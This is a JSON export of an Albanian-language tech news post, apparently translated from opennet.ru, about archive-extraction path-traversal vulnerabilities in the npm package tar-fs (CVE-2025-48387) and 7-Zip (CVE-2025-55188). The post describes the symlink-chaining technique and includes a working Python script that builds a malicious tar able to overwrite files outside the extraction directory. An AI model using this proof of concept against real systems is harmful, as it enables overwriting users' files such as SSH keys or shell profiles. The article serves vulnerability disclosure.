{"id":140951,"date":"2025-08-18T11:12:07","date_gmt":"2025-08-18T09:12:07","guid":{"rendered":"https:\/\/prohoster.info\/blog\/novosti-interneta\/uyazvimosti-v-tar-fs-i-7-zip-pozvolyayushhie-zapisat-fajly-za-predely-bazovogo-kataloga"},"modified":"2025-08-18T11:12:07","modified_gmt":"2025-08-18T09:12:07","slug":"uyazvimosti-v-tar-fs-i-7-zip-pozvolyayushhie-zapisat-fajly-za-predely-bazovogo-kataloga","status":"publish","type":"post","link":"https:\/\/prohoster.info\/sq\/blog\/news\/uyazvimosti-v-tar-fs-i-7-zip-pozvolyayushhie-zapisat-fajly-za-predely-bazovogo-kataloga","title":{"rendered":"D\u00ebmtimet n\u00eb tar-fs dhe 7-Zip, t\u00eb cilat lejojn\u00eb shkruarjen e skedareve jasht\u00eb katalogut baz\u00eb","gt_translate_keys":[{"key":"rendered","format":"text"}]},"content":{"rendered":"

N\u00eb paket\u00ebn NPM tar-fs \u00ebsht\u00eb zbuluar nj\u00eb vulnerabilitet (CVE-2025-48387), i cili lejon q\u00eb gjat\u00eb nxjerrjes s\u00eb nj\u00eb arkivi tar t\u00eb dizenjuar posa\u00e7\u00ebrisht, t\u00eb shkruhen skedar\u00eb n\u00eb \u00e7do pjes\u00eb t\u00eb sistemit t\u00eb skedar\u00ebve, pa u kufizuar n\u00eb katalogun ku realizohet nxjerrja (sa p\u00ebrgjigjen e lejeve t\u00eb p\u00ebrdoruesit aktual). Ky vulnerabilitet gjithashtu mund t\u00eb p\u00ebrdoret p\u00ebr t\u00eb rinovuar skedar\u00eb ekzistues, si\u00e7 jan\u00eb skedar\u00ebt '.ssh\/id_rsa' ose '.bashrc' n\u00eb katalogun e p\u00ebrdoruesit. <\/p>\n

Problemi i \u00ebsht\u00eb caktuar nj\u00eb nivel kritik rreziku duke marr\u00eb parasysh se paketa tar-fs ka 23 milion shkarkime n\u00eb jav\u00eb dhe p\u00ebrdoret si var\u00ebsi n\u00eb 1155 projekte. Vulnerabiliteti \u00ebsht\u00eb eliminuar n\u00eb publikimet 3.0.9, 2.1.3 dhe 1.16.5, t\u00eb cilat u krijuan n\u00eb maj, por informacioni n\u00eb lidhje me vulnerabilitetin u publikua vet\u00ebm gati 3 muaj m\u00eb von\u00eb. <\/p>\n

Vulnerabiliteti shkaktohet nga kontrolle t\u00eb pamjaftueshme mbi lidhjet simbolike dhe t\u00eb forta n\u00eb arkiv p\u00ebrsa i p\u00ebrket daljes p\u00ebrtej katalogut t\u00eb synuar p\u00ebr nxjerrje. P\u00ebr t\u00eb anashkaluar kontrollin, p\u00ebrdoren dy lidhje simbolike: e para tregon n\u00eb katalogun rr\u00ebnjor t\u00eb nxjerrjes s\u00eb arkivave ('.'), nd\u00ebrsa e dyta krijohet n\u00eb lidhje me lidhjen simbolike t\u00eb par\u00eb dhe p\u00ebrdor n\u00eb emrin e saj simbolet '..\/' p\u00ebr t\u00eb dal\u00eb p\u00ebrtej katalogut baz\u00eb. P\u00ebr shembull, lidhja e par\u00eb 'noop\/noop\/noop' tregon n\u00eb '.', dhe e dyta 'noop\/noop\/noop\/..\/..\/..\/..' shfaqet si '.\/..\/..\/..\/'. P\u00ebr t\u00eb organizuar rinovimin e skedar\u00ebve n\u00eb arkiv, mund t\u00eb krijohet nj\u00eb lidhje e fort\u00eb q\u00eb tregon n\u00eb nj\u00eb skedar t\u00eb jasht\u00ebm n\u00eb lidhje me lidhjen e dyt\u00eb simbolike. import tarfile import io with tarfile.open('poc.tar', mode='x') as tar: root = tarfile.TarInfo('root') root.linkname = ('noop\/' * 15) + ('..\/' * 15) root.type = tarfile.SYMTYPE tar.addfile(root) noop = tarfile.TarInfo('noop') noop.linkname = '.' noop.type = tarfile.SYMTYPE tar.addfile(noop) hard = tarfile.TarInfo('hardflag') hard.linkname = 'root\/home\/username\/flag\/flag' hard.type = tarfile.LNKTYPE tar.addfile(hard) content = b'overwrite\n' overwrite = tarfile.TarInfo('hardflag') overwrite.size = len(content) overwrite.type = tarfile.REGTYPE tar.addfile(overwrite, fileobj=io.BytesIO(content)) content = b'new!\n' newfile = tarfile.TarInfo('root\/home\/username\/flag\/newfile') newfile.size = len(content) newfile.type = tarfile.REGTYPE tar.addfile(newfile, fileobj=io.BytesIO(content)) <\/p>\n

Nj\u00eb dob\u00ebsi e ngjashme (CVE-2025-55188) \u00ebsht\u00eb zbuluar n\u00eb arkivatorin 7-Zip. P\u00ebr t\u00eb shkruar skedar\u00eb jasht\u00eb katalogut baz\u00eb n\u00eb 7-Zip, gjithashtu mund t\u00eb p\u00ebrdoren lidhje simbolike q\u00eb kan\u00eb sekuenc\u00ebn \"..\\\/\" n\u00eb rrug\u00ebn e skedarit. Problemi mund t\u00eb shfryt\u00ebzohet gjat\u00eb shp\u00ebrb\u00ebrjes s\u00eb \u00e7do arkivi q\u00eb mb\u00ebshtet lidhjet simbolike me 7-Zip, si p\u00ebr shembull zip, tar, 7z dhe rar. Problemi \u00ebsht\u00eb zgjidhur n\u00eb versionin 7-Zip 25.01.
\n
Burimi: opennet.ru<\/a> <\/p>","protected":false,"gt_translate_keys":[{"key":"rendered","format":"html"}]},"excerpt":{"rendered":"

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